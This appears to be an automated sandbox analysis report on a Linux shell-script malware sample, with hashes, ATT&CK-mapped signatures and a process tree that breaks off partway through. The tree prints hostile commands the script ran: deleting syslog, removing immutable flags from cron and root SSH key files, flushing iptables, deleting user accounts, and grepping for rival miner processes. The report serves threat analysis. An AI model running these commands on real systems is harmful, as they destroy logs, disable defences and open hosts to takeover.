495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311

Analysis

max time kernel
150s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 02:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311.sh
Size

35KB
MD5

6e6862ba33f1c01c268d83586509c2c7
SHA1

563670971378db254f2991fcd06e34713f477c9c
SHA256

495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311
SHA512

e6dc24529f2ea5f5fa73dea0c9ec8dc1c1e0fa9bf6d9cf3eb0cb1d2a12d23364ccc4c4517f577eb67ce7a029620ccad742ed048012197109e7982dc4c0e81fe5
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytsuz:bOVF+D6cIwgos3z

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
718	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
724	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1701	xargs
2045	xargs
1602	xargs
1695	xargs
2103	xargs
1728	xargs
1608	xargs
1638	xargs
1726	sed
1906	xargs
1986	xargs
2001	xargs
2026	xargs
2065	xargs
714	chattr
716	chattr
1596	xargs
1719	xargs
1771	xargs
1799	xargs
1523	xargs
1644	xargs
1815	xargs
1896	xargs
706	chattr
1693	sed
2016	xargs
1535	xargs
1692	xargs
1708	sed
1820	xargs
1845	xargs
2041	xargs
2031	xargs
745	chattr
1662	xargs
1674	xargs
1696	sed
1976	xargs
1614	xargs
1716	xargs
1626	xargs
1766	xargs
1479	grep
1668	xargs
1840	xargs
1876	xargs
1717	sed
2006	xargs
1650	xargs
1788	xargs
1956	xargs
1961	xargs
2011	xargs
1871	xargs
2070	xargs
1517	xargs
1941	xargs
1966	xargs
1465	xargs
1901	xargs
2091	xargs
2113	Process not Found
1698	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RT97rv	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OJPlok	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8ke2q8	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fDeBFK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4UXg08	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VrAklJ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.wloGa7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UeFBZl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Nu4BUJ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kpxFT7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.1wlv4G	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.AqNOGn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4DTWmm	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
2061	ps
1537	ps
1762	ps
2051	ps
2082	ps
2109	Process not Found
1492	ps
1856	ps
2071	ps
2087	ps
1927	ps
1480	ps
1851	ps
1862	ps
1887	ps
1836	ps
1872	ps
1952	ps
2017	ps
2027	ps
2032	ps
2037	ps
2056	ps
1811	ps
1917	ps
2007	ps
2076	ps
1482	ps
1977	ps
1892	ps
1932	ps
1957	ps
1987	ps
2002	ps
2066	ps
1867	ps
2046	ps
1478	ps
1487	ps
1846	ps
1877	ps
1942	ps
1992	ps
2022	ps
2114	Process not Found
1912	ps
1997	ps
2042	ps
1982	ps
1467	ps
1497	ps
1841	ps
1897	ps
2092	ps
2097	ps
1816	ps
1907	ps
1967	ps
2012	ps
1826	ps
1831	ps
1922	ps
1767	ps
2104	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/1842/stat	ps
File opened for reading	/proc/321/stat	ps
File opened for reading	/proc/703/cmdline	ps
File opened for reading	/proc/703/status	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/701/status	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/2022/stat	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/519/cmdline	pkill
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/484/cmdline	ps
File opened for reading	/proc/228/stat	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/113/cmdline	pkill
File opened for reading	/proc/370/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/702/status	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/470/status	pkill
File opened for reading	/proc/1807/status	ps
File opened for reading	/proc/113/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/7	ls
File opened for reading	/proc/484/cmdline	ps
File opened for reading	/proc/228/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/114/cmdline	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/1849/status	ps
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/372/status	pkill
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/520/status	pkill
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/484/stat	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/148/status	pkill
File opened for reading	/proc/114/cmdline	ps
File opened for reading	/proc/228/stat	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/321/status	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/702/status	pkill
File opened for reading	/proc/700/cmdline	pkill
File opened for reading	/proc/316/stat	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1417	ls
2009	grep
2039	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311.sh

/tmp/495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311.sh
/tmp/495e305f0e401ae4d43db137361948f8b92c9dde314548484786f1731d74a311.sh
1⤵
- Writes file to tmp directory
PID:703
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:705
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:706
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:710
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:714
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:716
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:718
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:724
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:732
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNTK-0000Bo-6A
      4⤵
      Reads CPU attributes
      PID:747
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:736
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmNTK-0000Bs-5s
      4⤵
      Reads CPU attributes
      PID:746
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:738
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:740
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:741
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:743
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:745
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:748
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:749
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:751
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:753
- /bin/grep
  grep exe
  2⤵
  PID:754
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:758
- /bin/grep
  grep exe
  2⤵
  PID:761
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:760
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:764
- /bin/grep
  grep exe
  2⤵
  PID:769
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:768
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:771
- /bin/grep
  grep exe
  2⤵
  PID:774
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:773
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:777
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:779
- /bin/grep
  grep exe
  2⤵
  PID:780
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:782
- /bin/grep
  grep exe
  2⤵
  PID:785
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:784
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:787
- /bin/grep
  grep exe
  2⤵
  PID:790
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:789
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:792
- /bin/grep
  grep exe
  2⤵
  PID:795
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:794
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:797
- /bin/grep
  grep exe
  2⤵
  PID:800
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:799
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:802
- /bin/grep
  grep exe
  2⤵
  PID:805
- /bin/ls
  ls -latrh /proc/143
  2⤵
  PID:804
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:807
- /bin/grep
  grep exe
  2⤵
  PID:810
- /bin/ls
  ls -latrh /proc/148
  2⤵
  PID:809
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:812
- /bin/grep
  grep exe
  2⤵
  PID:815
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:814
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:817
- /bin/grep
  grep exe
  2⤵
  PID:820
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:819
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:822
- /bin/grep
  grep exe
  2⤵
  PID:825
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:824
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:827
- /bin/grep
  grep exe
  2⤵
  PID:830
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:829
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:832
- /bin/grep
  grep exe
  2⤵
  PID:835
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:834
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:837
- /bin/grep
  grep exe
  2⤵
  PID:840
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:839
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:842
- /bin/grep
  grep exe
  2⤵
  PID:845
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:844
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:847
- /bin/grep
  grep exe
  2⤵
  PID:850
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:849
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:852
- /bin/grep
  grep exe
  2⤵
  PID:855
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:854
- /bin/grep
